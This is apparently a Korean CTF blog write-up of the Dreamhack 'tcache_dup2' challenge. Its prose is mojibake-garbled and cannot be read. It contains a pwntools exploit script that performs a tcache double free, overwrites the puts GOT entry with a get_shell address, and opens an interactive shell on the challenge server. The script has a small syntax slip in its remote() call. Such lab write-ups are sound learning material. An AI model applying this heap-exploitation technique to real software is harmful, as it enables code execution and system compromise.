Jastes 2022. 11. 6. 23:50


tcache_dup2

๋ฌธ์ œ ํ’€์ด

์ด์ „์ด๋ž‘ ๋ณดํ˜ธ๊ธฐ๋ฒ•๋„ ๋˜‘๊ฐ™๊ณ 

์ฝ”๋“œ๋งŒ ์‚ด์ง ๋ฐ”๋€ ๋ชจ์Šต์œผ๋กœ ์ด์ „๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•˜๋ฉด ๋ฌดํ•œ๋ฃจํ”„์— ๋น ์ง€๊ธฐ์—
ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด p64 ๋ฐ์ดํ„ฐ ์ „์†ก ๊ณผ์ •์—์„œ ์ „์†กํ•œ ๋ฐ์ดํ„ฐ์™€ ๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ๊ฐ€ ์ฐํžˆ๋Š” ๋ฌธ์ œ๊ฐ€ ์žˆ์—ˆ๋„ค์š”
์‹คํ–‰ํ•ด๋ณด๋ฉด์„œ ๋งŽ์ด ๋ง‰ํ˜”๋Š”๋ฐ ๊ทธ ๋ถ€๋ถ„๋งŒ ์ˆ˜๋™์œผ๋กœ ๋ฐ”๊ฟ”์„œ ํ•˜๋ฉด ๋  ๋“ฏ ํ•ฉ๋‹ˆ๋‹ค.


Exploit ์„ค๊ณ„

๋‹ค๋ฅธ ๋ถ€๋ถ„๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๊ณ  ์ถ”๊ฐ€์ ์ธ ์ธ์ž๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ํ™•์ธํ•˜๋Š” ๋ถ€๋ถ„๊ณผ modify๊ฐ€ ์ถ”๊ฐ€๋œ ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.
ํ•˜์ง€๋งŒ ๊ทธ๋Ÿฌํ•œ ๋ถ€๋ถ„์€ idx๊ฐ€ 8์„ ์ดˆ๊ณผํ•˜๋ฉด ์•ˆ๋œ๋‹ค.. ์„ค๋ช…์€ ์ด์ „ ๋‚ด์šฉ์—์„œ ๋ฌด์ง€ ๋งŽ์ด ํ–ˆ์œผ๋ฏ€๋กœ
์—ฌ๊ธฐ์„  ์ด์ „ ์ฝ”๋“œ๋ฅผ ํ™œ์šฉํ•ด์„œ ์ž‘์„ฑํ•ด๋ณผ๊นŒ์š”? ๊ณต๊ฒฉ๊ธฐ๋ฒ•์˜ ์ ‘๊ทผ ๋ฐฉ์‹๋„ ์œ ์‚ฌํ•˜๋ฏ€๋กœ..


Exploit

์œ„์—์„œ ๋‹ค ์„ค๋ช…ํ–ˆ์œผ๋‹ˆ ์ถ”๊ฐ€์ ์ธ ๋ถ€๋ถ„๋งŒ ๊ฐ„๋‹จํžˆ ์„ค๋ช…ํ•˜๊ณ  ๋„˜์–ด๊ฐ€๊ฒ ์Šต๋‹ˆ๋‹ค.

์ด ๋ถ€๋ถ„์€ DFB์˜ ๋ถ€๋ถ„์˜ ๊ธฐ๋ณธ์ด๋ฏ€๋กœ ์ด์   ๋„˜์–ด๊ฐˆ๊ป˜์š”

์ด๋ฒˆ์—” ํ•ด์ œ๋ฅผ ๋”ฐ๋กœ ํ•˜๋Š”๋ฐ ๊ทธ ์ด์œ ๋Š” modify๊ฐ€ ์กด์žฌํ•˜๋ฏ€๋กœ ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ํ™œ์šฉํ•˜์—ฌ ๋„ฃ์—ˆ์Šต๋‹ˆ๋‹ค.
์ด์ „ ์ฝ”๋“œ์—์„œ chunk๋ฅผ ๋‘๋ฒˆ๋งŒ freeํ•จ์œผ๋กœ์จ.. ๊ทผ๋ฐ ์ƒ๊ฐํ•ด๋ณด๋ฉด chunk๋ฅผ ๋‘๊ฐœ๋งŒ freeํ•ด๋„ ์ถฉ๋ถ„ํ•˜๊ฒ ๋‹ค

๋˜ํ•œ puts๊ฐ€ ์•„๋‹ˆ๊ณ  printf, read์˜ got๋กœ๋Š” ์ ‘๊ทผ์ด ์•ˆ๋˜๊ธฐ์— ์ด์ƒํ•˜๋‹ค..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
 
p=remote('host3.dreamhack.games'17503)
e=ELF("./tcache_dup2")
 
def create(size,data):
    p.sendlineafter("> ",str(1))
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Data: ",data)
 
def Modify(idx,size,data):
    p.sendlineafter("> ",str(2))
    p.sendlineafter("idx: ",str(idx))
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Data: ",data)
 
def delete(idx):
    p.sendlineafter("> ",str(3))
    p.sendlineafter("idx: ",str(idx))
 
create(0x10,"AAAA")
create(0x10,"AAAA")
 
delete(0)
delete(1)
 
#why "A"*0x4์œผ๋ก  ์‹คํ–‰์ด ์ž˜ ์•ˆ๋˜์„œ.. 0x10์œผ๋กœ ์‹œ๋„ํ–ˆ์Šต๋‹ˆ๋‹ค
Modify(1,0x10,"A"*0x10)
delete(1)
 
create(0x10,p64(e.got['puts']))
create(0x10,"AAAA")
 
create(0x10,p64(e.symbols['get_shell']))
p.interactive()
cs


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€